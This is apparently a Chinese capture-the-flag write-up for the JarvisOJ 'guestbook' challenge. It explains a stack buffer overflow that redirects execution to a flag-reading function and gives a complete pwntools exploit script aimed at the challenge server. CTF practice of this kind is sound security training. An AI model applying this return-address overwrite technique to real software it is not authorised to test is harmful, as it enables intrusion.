开了栈不可执行
但是其他有
JarvisOJ——guestbook

100分的题目不算很难
只要溢出,然后控制程序跳转的地址就可以了
JarvisOJ——guestbook

程序中给了good_game函数,函数内部已经可以就是读取"flag.txt"的内容

JarvisOJ——guestbook

所以就是溢出、覆盖ebp,然后跳转到good_game函数

结果:
JarvisOJ——guestbook

#!/usr/bin/env python
# encoding: utf-8

from pwn import *

proc_name = './guestbook.d3d5869bd6fb04dd35b29c67426c0f05'

proc_elf = ELF(proc_name)

context.log_level = 'debug'

#io = process(proc_name)
io = remote('pwn.jarvisoj.com',9876)

#print proc_elf.checksec()
#print proc.pidof(io)

raw_input('debug')

ebp = 0x0000000000400670

read_message = 0x0000000000400670

good_game = 0x0000000000400620

payload  = 'a'*0x88
payload  += p64(good_game)
payload +=p64(good_game)
payload +=p64(good_game)

io.recvuntil('message')

io.send(payload)

#raw_input("debug")
io.interactive()

相关文章:

  • 2022-12-23
  • 2021-09-17
  • 2021-12-24
  • 2021-07-28
  • 2022-12-23
  • 2022-12-23
  • 2022-02-26
  • 2022-12-23
猜你喜欢
  • 2021-08-08
  • 2022-12-23
  • 2021-12-20
  • 2021-11-26
  • 2021-04-28
  • 2021-10-26
  • 2022-12-23
相关资源
相似解决方案